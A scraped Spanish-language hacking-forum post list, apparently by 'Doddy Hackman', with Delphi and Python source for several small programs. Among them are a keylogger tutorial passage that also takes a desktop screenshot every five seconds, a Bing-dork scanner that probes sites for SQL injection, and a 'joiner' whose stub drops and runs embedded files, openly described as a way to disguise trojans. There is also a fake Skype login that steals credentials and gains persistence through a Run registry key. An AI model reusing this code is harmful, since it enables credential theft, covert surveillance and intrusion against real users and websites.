  if not(nombre1 = nombre2) then // Si nombre1 no es nombre2 ........
  begin
    nombre2 := nombre1; // nombre2 tendra el valor de nombre1
    Memo1.Lines.Add(nombre2); // agregamos al memo el valor de nombre2
  end;
end;


Una imagen con el codigo comentado :



Eso seria la parte de capturar ventanas.

0x04 : Capturar pantalla

Ahora vamos a la parte mas facil , voy a usar como ejemplo un codigo que hice para un programa llamado "DH ScreenShoter" que hice en este mismo lenguaje.

Lo primero que hay que hacer es agregar Jpeg en "uses" al inicio del codigo.

Ahora hacemos doble click en el tercer timer y agregamos este codigo :

Código (delphi) [Seleccionar]

procedure TForm1.Timer3Timer(Sender: TObject);
var
  foto1: TBitmap; // Declaramos foto1 como TBitmap;
  foto2: TJpegImage; // Declaramos foto2 como TJpegImage
  ventana: HDC; // Declaramos aca como HDC

begin

  // Agregar "Jpeg" a "uses"

  ventana := GetWindowDC(GetDesktopWindow); // Capturamos ventana actual en aca

  foto1 := TBitmap.Create; // Iniciamos foto1 como TBitmap
  foto1.PixelFormat := pf24bit; // Establecemos el pixel format
  foto1.Height := Screen.Height; // Capturamos el tamaño
  foto1.Width := Screen.Width; // Capturamos el tamaño

  BitBlt(foto1.Canvas.Handle, 0, 0, foto1.Width, foto1.Height, ventana, 0, 0,
    SRCCOPY); // Tomamos la foto con los datos antes usados

  foto2 := TJpegImage.Create; // Iniciamos foto2 como TJpegImage
  foto2.Assign(foto1); // Asignamos foto1 en foto2
  foto2.CompressionQuality := 60; // Establecemos la calidad de la imagen

  foto2.SaveToFile(IntToStr(Random(100)) + '.jpg');
  // Guardamos la foto tomada
  // con un valor numerico
  // aleatorio mas el formato
  // '.jpg'

end;


Una imagen con el codigo comentado :



Despues de esto tenemos que configurar el "interval" del timer3 a "5000" , que en realidad es para que el timer funcione cada 5 segundos.

Con esto ya terminamos la parte de capturar las imagenes.

Ahora vamos a probar todo.

0x05 : Testeando

Una vez terminado todo establecemos los tres timers en true en la parte "Enabled" de la configuracion de los timers.

Bien ahora voy a mostrarles una imagen de ejemplo :



Como pueden ver en la imagen , el keylogger detecto la ventana actual que es "Form1" (el programa mismo) y tambien detecta bien las minusculas y mayusculas cuando escribi "HolaMundo"
Tambien cada 5 segundos sacaba una foto como esta :



Eso seria todo.

El manual esta disponible en PDF aca.

--========--
  The End ?
--========--

#159
Programación General / [Delphi] DH ScreenShoter 0.1
6 Septiembre 2013, 18:58 PM
Un simple programa para sacar un screenshot y subir la imagen a imageshack.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// DH Screenshoter 0.1
// Coded By Doddy H
// Credits
// Based on : http://forum.codecall.net/topic/60613-how-to-capture-screen-with-delphi-code/

unit dh;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, StdCtrls, sGroupBox, ComCtrls, sStatusBar, sLabel,
  sCheckBox, sEdit, sButton, acPNG, ExtCtrls, Jpeg, ShellApi,
  IdMultipartFormData,
  PerlRegEx, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sStatusBar1: TsStatusBar;
    sCheckBox1: TsCheckBox;
    sEdit1: TsEdit;
    sCheckBox2: TsCheckBox;
    sEdit2: TsEdit;
    sLabel1: TsLabel;
    sCheckBox3: TsCheckBox;
    sGroupBox2: TsGroupBox;
    sEdit3: TsEdit;
    sGroupBox3: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    sCheckBox4: TsCheckBox;
    Image1: TImage;
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    procedure sButton3Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure capturar(nombre: string);
var
  imagen2: TJpegImage;
  imagen1: TBitmap;
  aca: HDC;

begin

  aca := GetWindowDC(GetDesktopWindow);

  imagen1 := TBitmap.Create;
  imagen1.PixelFormat := pf24bit;
  imagen1.Height := Screen.Height;
  imagen1.Width := Screen.Width;

  BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0, 0,
    SRCCOPY);

  imagen2 := TJpegImage.Create;
  imagen2.Assign(imagen1);
  imagen2.CompressionQuality := 60;
  imagen2.SaveToFile(nombre);

end;

procedure TForm1.FormCreate(Sender: TObject);
var
  dir: string;
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'cold';
  sSkinManager1.Active := True;

  dir := ExtractFilePath(Application.ExeName) + '/captures';

  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;

  ChDir(dir);

end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  fecha: TDateTime;
  fechafinal: string;
  nombrefecha: string;
  i: integer;
  datos: TIdMultiPartFormDataStream;
  code: string;

begin

  fecha := now();
  fechafinal := DateTimeToStr(fecha);
  nombrefecha := fechafinal + '.jpg';

  nombrefecha := StringReplace(nombrefecha, '/', ':', [rfReplaceAll,
    rfIgnoreCase]);
  nombrefecha := StringReplace
    (nombrefecha, ' ', '', [rfReplaceAll, rfIgnoreCase]);
  nombrefecha := StringReplace(nombrefecha, ':', '_', [rfReplaceAll,
    rfIgnoreCase]);

  if (sCheckBox2.Checked) then
  begin
    for i := 1 to StrToInt(sEdit2.text) do
    begin
      sStatusBar1.Panels[0].text := '[+] Taking picture on  : ' + IntToStr(i)
        + ' seconds ';
      Form1.sStatusBar1.Update;
      Sleep(i * 1000);
    end;
  end;

  Form1.Hide;

  Sleep(1000);

  if (sCheckBox1.Checked) then
  begin
    capturar(sEdit1.text);
  end
  else
  begin
    capturar(nombrefecha);
  end;

  Form1.Show;

  sStatusBar1.Panels[0].text := '[+] Photo taken';
  Form1.sStatusBar1.Update;

  if (sCheckBox3.Checked) then
  begin

    sStatusBar1.Panels[0].text := '[+] Uploading ...';
    Form1.sStatusBar1.Update;

    datos := TIdMultiPartFormDataStream.Create;
    datos.AddFormField('key', 'Fuck You');

    if (sCheckBox1.Checked) then
    begin
      datos.AddFile('fileupload', sEdit1.text, 'application/octet-stream');
    end
    else
    begin
      datos.AddFile('fileupload', nombrefecha, 'application/octet-stream');
    end;
    datos.AddFormField('format', 'json');

    code := IdHTTP1.Post('http://post.imageshack.us/upload_api.php', datos);

    PerlRegEx1.Regex := '"image_link":"(.*?)"';
    PerlRegEx1.Subject := code;

    if PerlRegEx1.Match then
    begin
      sEdit3.text := PerlRegEx1.SubExpressions[1];
      sStatusBar1.Panels[0].text := '[+] Done';
      Form1.sStatusBar1.Update;
    end
    else
    begin
      sStatusBar1.Panels[0].text := '[-] Error uploading';
      Form1.sStatusBar1.Update;
    end;
  end;

  if (sCheckBox4.Checked) then
  begin
    if (sCheckBox1.Checked) then
    begin
      ShellExecute(Handle, 'open', Pchar(sEdit1.text), nil, nil, SW_SHOWNORMAL);
    end
    else
    begin
      ShellExecute(Handle, 'open', Pchar(nombrefecha), nil, nil, SW_SHOWNORMAL);
    end;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  sEdit3.SelectAll;
  sEdit3.CopyToClipboard;
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close();
end;

end.

// The End ?



Si quieren bajar el programa lo pueden hacer de aca.
#160
Scripting / [Python-Android] BingHack Tool 0.1
1 Septiembre 2013, 21:19 PM
Un simple script en Python para Android con el fin de buscar paginas vulnerables a SQLI usando Bing.

El codigo :

Código (python) [Seleccionar]

#!usr/bin/python
#BingHack Tool 0.1
#Android Version
#(C) Doddy Hackman 2013

import android,urllib2,re

nave = urllib2.build_opener()
nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]

def toma(web) :
nave = urllib2.Request(web)
nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
op = urllib2.build_opener()
return op.open(nave).read()

def sql(webs):
respuesta = ""
for web in webs :
 if re.findall("=",web):
  web = re.split("=",web)
  web = web[0]+"="

  try:
   code = toma(web+"-1+union+select+1--")
   if (re.findall("The used SELECT statements have a different number of columns",code,re.I)):
    respuesta = respuesta + "[SQLI] : "+web+"\n"
  except:
   pass
return respuesta

def limpiar(pag):

limpia = []
for p in pag:
 if p not in limpia:
  limpia.append(p)
return limpia

def buscar(dork,count):

respuesta = ""

pag = []
s = 10  

while s <= int(count):
 try:
  code = toma("http://www.bing.com/search?q="+str(dork)+"&first="+str(s))
  d = re.findall("<h3><a href=\"(.*?)\"",code,re.I)
  s += 10
  for a in d:
   pag.append(a)
 except:
  pass

pag = limpiar(pag)

return pag
 
aplicacion = android.Android()

def menu():

aplicacion.dialogCreateAlert("BingHack Tool 0.1")
aplicacion.dialogSetItems(["Search","About","Exit"])
aplicacion.dialogShow()
re = aplicacion.dialogGetResponse().result
re2 = re["item"]

if re2==0:
 
 red = aplicacion.dialogGetInput("BingHack Tool 0.1","Write the dork")
 dork = str(red[1])

 red = aplicacion.dialogGetInput("BingHack Tool 0.1","Write the number of pages to search")
 paginas = str(red[1])

 aplicacion.dialogCreateSpinnerProgress("BingHack Tool 0.1","Searching ...")
 aplicacion.dialogShow()

 founds = ""
 rez = ""
 rtafinal = ""

 founds = buscar(dork,paginas)

 aplicacion.dialogDismiss()

 aplicacion.dialogCreateSpinnerProgress("BingHack Tool 0.1","Scanning ...")
 aplicacion.dialogShow()

 rez = sql(founds)

 if len(rez) == 0 :
  rtafinal = "[-] Not Found"
 else :
  rtafinal = "[++] Pages Founds\n\n"
  rtafinal = rtafinal + rez
  rtafinal = rtafinal + "\n[++] Finished\n"

 aplicacion.dialogDismiss()

 aplicacion.dialogCreateAlert("BingHack Tool 0.1",rtafinal)
 aplicacion.dialogSetPositiveButtonText("Done")
 aplicacion.dialogShow()
 
 op = aplicacion.dialogGetResponse().result
 if op["which"] == "positive" :
  menu()

if re2==1 :
 aplicacion.dialogCreateAlert("BingHack Tool 0.1","(C) Doddy Hackman 2013")
 aplicacion.dialogSetPositiveButtonText("Done")
 aplicacion.dialogShow()
 re3 = aplicacion.dialogGetResponse().result
 if re3["which"] == "positive" :
  menu()
 
 if re3==2:
  aplicacion.exit()

menu()

# The End ?


Eso es todo.
#161
Un simple programa para cambiar el icono de otro programa.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// DH Icon Changer 0.1
// Coded By Doddy H
// Based on IconChanger By Chokstyle
// Thanks to Chokstyle

unit icon;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sButton, sEdit, sGroupBox, sSkinManager, ComCtrls,
  sStatusBar, ExtCtrls, madRes, jpeg, sCheckBox;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sButton1: TsButton;
    sGroupBox2: TsGroupBox;
    sGroupBox3: TsGroupBox;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    sStatusBar1: TsStatusBar;
    OpenDialog1: TOpenDialog;
    sGroupBox4: TsGroupBox;
    Image1: TImage;
    sButton5: TsButton;
    OpenDialog2: TOpenDialog;
    Image2: TImage;
    sEdit2: TsEdit;
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure sButton5Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);

    procedure sButton4Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'falloutstyle';
  sSkinManager1.Active := True;

  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog2.InitialDir := GetCurrentDir;
  OpenDialog2.Filter := 'ICO|*.ico|';

end;

procedure TForm1.sButton1Click(Sender: TObject);
begin

  if OpenDialog1.Execute then
  begin
    sEdit1.Text := OpenDialog1.FileName;
  end;
end;

procedure TForm1.sButton2Click(Sender: TObject);
var
  op: string;
  change: dword;
  valor: string;

begin

  valor := IntToStr(128);

  op := InputBox('Backup', 'Backup ?', 'Yes');

  if op = 'Yes' then
  begin
    CopyFile(PChar(sEdit1.Text), PChar(ExtractFilePath(Application.ExeName)
          + 'backup' + ExtractFileExt(sEdit1.Text)), True);
  end;

  try
    begin
      change := BeginUpdateResourceW(PWideChar(wideString(sEdit1.Text)), false);
      LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0, PWideChar
          (wideString(sEdit2.Text)));
      EndUpdateResourceW(change, false);
      sStatusBar1.Panels[0].Text := '[+] Changed !';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;

    end;
  end;

end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.sButton5Click(Sender: TObject);
begin

  if OpenDialog2.Execute then
  begin
    Image1.Picture.LoadFromFile(OpenDialog2.FileName);
    sEdit2.Text := OpenDialog2.FileName;
  end;

end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  ShowMessage('Credits : Based on IconChanger By Chokstyle' + #13#10 + #13#10 +
      'Contact to lepuke[at]hotmail[com]');
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de aca.
#162
[Titulo] : Creacion de un Joiner
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del generador
0x03 : Creacion del stub
0x04 : Probando el Joiner

-- =================--------

0x01 : Introduccion

Bueno , voy a empezar este manual que hice sobre como crear un joiner en delphi , me costo mucho encontrar un codigo en delphi sobre un joiner basico que mi limitada comprensión
puediera entender, para hacer este manual me base en el codigo "Ex Binder v0.1" hecho por TM.

¿ Que es un Joiner ?

Un joiner es un programa para juntar dos o mas archivos en uno solo , normalmente se usa para camuflar el server de algun troyano o algun virus.

¿ Que es un stub ?

El stub es el que generara los archivos que juntamos en el joiner y estan "guardados" en este ejecutable.

0x02 : Creacion del generador

Para empezar creamos un proyecto normal de la siguiente forma : File->New->VCL Forms Application , como en la siguiente imagen.



Una vez creado , creamos dos cajas edit y un boton como en la imagen :



Entonces hacemos doble click en el boton creado para poner el siguiente codigo en el boton.

Código (delphi) [Seleccionar]

procedure TForm1.Button1Click(Sender: TObject);

var
  archivo1: string; // Declaramos la variable archivo1 como string
  archivo2: string; // Declaramos la variable archivo2 como string
  uno: DWORD; // Declaramos la variable uno como dword
  tam: DWORD; // Declaramos la variable tam como dword
  dos: DWORD; // Declaramos la variable dos como dword
  tres: DWORD; // Declaramos la variable tres como dword
  todo: Pointer; // Declaramos la variable todo como pointer

begin

  uno := BeginUpdateResource(PChar('tub.exe'), True); // Iniciamos la actualizacion del recurso en el archivo tub.exe

  archivo1 := UpperCase(ExtractFileName(Edit1.Text)); // Declaramos el archivo1 como el nombre del primer archivo

  dos := CreateFile(PChar(Edit1.Text), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); // Cargamos el primer archivo
  tam := GetFileSize(dos, nil); // Capturamos el tamaño
  GetMem(todo, tam); // Capturamos la memoria
  ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido
  CloseHandle(dos); // Cerramos el archivo
  UpdateResource(uno, RT_RCDATA, PChar(archivo1), MAKEWord(LANG_NEUTRAL,
      SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto

  archivo2 := UpperCase(ExtractFileName(Edit2.Text)); // Declaramos el archivo2 como el nombre del segundo archivo

  dos := CreateFile(PChar(Edit2.Text), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  tam := GetFileSize(dos, nil); // Capturamos el tamaño
  GetMem(todo, tam); // Capturamos la memoria
  ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido
  CloseHandle(dos); // Cerramos el archivo
  UpdateResource(uno, RT_RCDATA, PChar(archivo2), MAKEWord(LANG_NEUTRAL,
      SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto

  EndUpdateResource(uno, False); // Finalizamos la actualizacion del recurso

end;


Una imagen del codigo comentado.



0x03 : Creacion del stub

Ahora vamos a crear una Console Application de la siguiente forma : File->New->VCL Forms Application->Other->Console , como en la imagen :



Una vez hecho copiamos el siguiente codigo :

Código (delphi) [Seleccionar]

program stub;

uses Windows, ShellApi; // Cargamos los modulos necesarios

function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL;
  stdcall; // Empieza la funcion con los parametros
var
  data: DWORD; // Declaramos como DWORD la variable data
  uno: DWORD; // Declaramos como DWORD la variable uno
  dos: DWORD; // Declaramos como DWORD la variable dos

begin

  Result := True; // Retornamos true en la funcion

  data := FindResource(0, cinco, cuatro); // La variable data guarda la busqueda de recursos

  uno := CreateFile(PChar('c:/' + cinco), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
    CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); // Creamos el archivo
  WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
    dos, nil); // Escribimos en el archivo creado

  CloseHandle(uno); // Cerramos

  ShellExecute(0, 'open', PChar('c:/' + cinco), nil, nil, SW_SHOWNORMAL);
  // Ejecutamos el archivo

end;

begin
  EnumResourceNames(0, RT_RCDATA, @start, 0);

  // Funcion para cargar los archivos del joiner
end.



Una imagen del codigo comentado.



0x04 : Probando el Joiner

Para el probar el joiner voy a usar dos archivos : una imagen del perro coraje y un archivo de texto que solo contiene un "hola mundo"

Primero cargamos el generador :



Pulsamos el boton y cargamos el tub.exe (el ejecutable del proyecto del stub) generado.



Eso es todo.

El manual esta disponible en PDF aca.

--========--
  The End ?
--========--
#163
Programación General / [Delphi] DH GetColor
23 Agosto 2013, 18:44 PM
Un simple programa para buscar el color de un pixel.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// DH GetColor 0.1
// Coded By Doddy H
// Credits :
// Based on  : http://stackoverflow.com/questions/15155505/get-pixel-color-under-mouse-cursor-fast-way
// Based on : http://www.coldtail.com/wiki/index.php?title=Borland_Delphi_Example_-_Show_pixel_color_under_mouse_cursor

unit get;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, sSkinManager, sGroupBox, sEdit, sLabel, ComCtrls,
  sStatusBar, acPNG, sMemo, Clipbrd;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    Shape1: TShape;
    sLabel1: TsLabel;
    sLabel2: TsLabel;
    sStatusBar1: TsStatusBar;
    sGroupBox2: TsGroupBox;
    Image1: TImage;
    sLabel3: TsLabel;
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState);

  private
    capturanow: HDC;
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'cold';
  sSkinManager1.Active := True;

  sLabel3.Caption := 'This program is used to' + #13 +
    'find the color of a pixel' + #13 + #13 + 'Use control + v to copy' + #13 +
    'the color to the clipboard' + #13 + #13 + #13 + 'The End ?';

  capturanow := GetDC(0);
  if (capturanow <> 0) then
    Timer1.Enabled := True;
end;

procedure TForm1.FormKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
  if (Shift = [ssCtrl]) and (Key = 86) then
  begin
    Clipboard().AsText := sLabel2.Caption;
    sStatusBar1.Panels[0].Text := '[+] Color copied to clipboard';
    Form1.sStatusBar1.Update;
  end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  aca: TPoint;
  color: TColor;
  re: string;

begin

  if GetCursorPos(aca) then
  begin
    color := GetPixel(capturanow, aca.x, aca.y);
    Shape1.Brush.color := color;
    re := '#' + IntToHex(GetRValue(color), 2) + IntToHex(GetGValue(color), 2)
      + IntToHex(GetBValue(color), 2);
    sLabel2.Caption := re;
    sStatusBar1.Panels[0].Text := '[+] Finding colors ...';
    Form1.sStatusBar1.Update;
  end;
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de aca.
#164
Scripting / [Python-Android] LocateIP 0.1
19 Agosto 2013, 20:19 PM
El primer script que hice en python para android.

El codigo :

Código (python) [Seleccionar]

# !usr/bin/python
# LocateIP 0.1 (C) Doddy Hackman 2013
# Android Version

import android,urllib2,re,socket
 
aplicacion = android.Android()

nave = urllib2.build_opener()
nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]

def toma(web) :
nave = urllib2.Request(web)
nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
op = urllib2.build_opener()
return op.open(nave).read()

def search(pagina):

respuesta = ""

ip = socket.gethostbyname(str(pagina))
code = toma("http://www.melissadata.com/lookups/iplocation.asp?ipaddress="+ip)

respuesta = respuesta + "[++] IP Address Location\n"

if (re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
  rex = re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
  city = rex[0][1]
  respuesta = respuesta + "\n[++] City : "+city
else:
  respuesta = respuesta + "\n[++] City : Not Found"

if (re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
  rex = re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
  country = rex[0][1]
  respuesta = respuesta + "\n[++] Country : "+country
else:
  respuesta = respuesta + "\n[++] Country : Not Found"
 
if (re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
  rex = re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
  state = rex[0][1]
  respuesta = respuesta + "\n[++] State : "+state
else:
  respuesta = respuesta + "\n[++] State : Not Found"


code = toma("http://www.ip-adress.com/reverse_ip/"+ip)

if (re.findall("whois\/(.*?)\">Whois",code)):
  rex = re.findall("whois\/(.*?)\">Whois",code)
  respuesta = respuesta + "\n\n[++] DNS Founds\n"
  for dns in rex:
   respuesta = respuesta + "\n[+] "+dns

return respuesta

def menu():

aplicacion.dialogCreateAlert("LocateIP 0.1")
aplicacion.dialogSetItems(["Search","About","Exit"])
aplicacion.dialogShow()
re = aplicacion.dialogGetResponse().result

re2 = re["item"]

if re2==0:
 
  red = aplicacion.dialogGetInput("LocateIP 0.1","Target")
  ref = str(red[1])

  aplicacion.dialogCreateSpinnerProgress("LocateIP 0.1","Searching ...")
  aplicacion.dialogShow()

  don = search(ref)

  aplicacion.dialogDismiss()

  aplicacion.dialogCreateAlert("LocateIP 0.1",don)
  aplicacion.dialogSetPositiveButtonText("Done")
  aplicacion.dialogShow()
 
  op = aplicacion.dialogGetResponse().result

  if op["which"] == "positive" :

   menu()

if re2==1 :

  aplicacion.dialogCreateAlert("LocateIP 0.1","(C) Doddy Hackman 2013")
  aplicacion.dialogSetPositiveButtonText("Done")
  aplicacion.dialogShow()
  re3 = aplicacion.dialogGetResponse().result

  if re3["which"] == "positive" :

   menu()
 
  if re3==2:

   aplicacion.exit()

menu()

# The End ?


Les dejo unas imagenes de como funciona en mi tablet argos.







Eso es todo.
#165
Programación General / [Delphi] Fake Skype 0.1
16 Agosto 2013, 18:40 PM
Un simple Fake de Skype , en la proxima version voy a tratar de darle mas realismo xDD.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// Fake Skype 0.1
// Coded By Doddy H

unit fake;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg, ExtCtrls, StdCtrls, Registry;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Edit1: TEdit;
    Edit2: TEdit;
    Image2: TImage;
    procedure Image2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Edit2Click(Sender: TObject);
    procedure Edit1Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Edit1Click(Sender: TObject);
begin
  Edit1.Text := '';
end;

procedure TForm1.Edit2Click(Sender: TObject);
begin
  Edit2.Text := '';
end;

procedure TForm1.FormCreate(Sender: TObject);

var
  nombrereal: string;
  rutareal: string;
  yalisto: string;
  her: TRegistry;

begin

  nombrereal := ExtractFileName(ParamStr(0));
  rutareal := ParamStr(0);
  yalisto := 'C:\WINDOWS\' + nombrereal;

  MoveFile(Pchar(rutareal), Pchar(yalisto));

  her := TRegistry.Create;
  her.RootKey := HKEY_LOCAL_MACHINE;

  her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  her.WriteString('uber', yalisto);
  her.Free;

  SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  SetFileAttributes(Pchar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);

end;

procedure TForm1.Image2Click(Sender: TObject);
var
  archivo: TextFile;
  ruta: string;

begin

  if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  begin
    WinExec('notepad c:/windows/datos.txt', SW_SHOW);
  end
  else
  begin

    if Edit1.Text = '' then
    begin
      ShowMessage(
        'Escribe tu Id. de Skype en este formato: tu nombre@ejemplo.com');
    end;
    if Edit2.Text = '' then
    begin
      ShowMessage('Escribe tu contraseña');
    end
    else
    begin
      if Edit2.Text = 'Escribe aqui tu contraseña' then
      begin
        ShowMessage('Escribe tu contraseña');
      end
      else
      begin
        ruta := 'c:/windows/datos.txt'; // mod
        if FileExists(ruta) then
        begin
          AssignFile(archivo, ruta);
          FileMode := fmOpenWrite;
          Append(archivo);
          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
              Edit2.Text);
          CloseFile(archivo);
          Application.MessageBox(
            'Se ha producido un error , es necesario reiniciar Skype', 'Skype',
            MB_OK);
          Form1.Close;
        end
        else
        begin
          AssignFile(archivo, ruta);
          FileMode := fmOpenWrite;
          ReWrite(archivo);
          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
              Edit2.Text);
          CloseFile(archivo);
          Application.MessageBox(
            'Se ha producido un error , es necesario reiniciar Skype', 'Skype',
            MB_OK);
          Form1.Close;
        end;
      end;
    end;
  end;

end;

end.

// The End ?


Si quieren bajarlo lo pueden hacer de aca.
#166
Programación General / [Delphi] Sex Icons 0.1
9 Agosto 2013, 17:59 PM
Un simple programa para buscar y extraer iconos.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// Sex Icons 0.1
// Coded By Doddy H

unit sex;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg, ExtCtrls, ComCtrls, StdCtrls, ShellAPI, ImgList;

type
  TForm1 = class(TForm)
    Image1: TImage;
    GroupBox1: TGroupBox;
    Label1: TLabel;
    Edit1: TEdit;
    ListView1: TListView;
    Button1: TButton;
    GroupBox2: TGroupBox;
    Button2: TButton;
    ImageList1: TImageList;
    GroupBox3: TGroupBox;
    Image2: TImage;

    Image3: TImage;
    SaveDialog1: TSaveDialog;
    procedure Button1Click(Sender: TObject);
    procedure ListView1DblClick(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
  buscar: TSearchRec;
  Icon: TIcon;
  listate: TListItem;
  getdata: SHFILEINFO;
  dirnow: string;

begin

  dirnow := Edit1.Text;

  ListView1.Items.Clear;
  Icon := TIcon.Create;
  ListView1.Items.BeginUpdate;

  if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
  begin
    repeat
      if (buscar.Attr <> faDirectory) then
      begin

        with ListView1 do
        begin

          listate := ListView1.Items.Add;

          SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
              , SHGFI_DISPLAYNAME);
          listate.Caption := buscar.Name;

          SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
              , SHGFI_TYPENAME);
          listate.SubItems.Add(getdata.szTypeName);

          SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
              , SHGFI_ICON or SHGFI_SMALLICON);
          Icon.Handle := getdata.hIcon;
          listate.ImageIndex := ImageList1.AddIcon(Icon);

          DestroyIcon(getdata.hIcon);

        end;

      end

      until FindNext(buscar) <> 0;
      FindClose(buscar);
    end;

    ListView1.Items.EndUpdate;

  end;

  procedure TForm1.Button2Click(Sender: TObject);
  begin

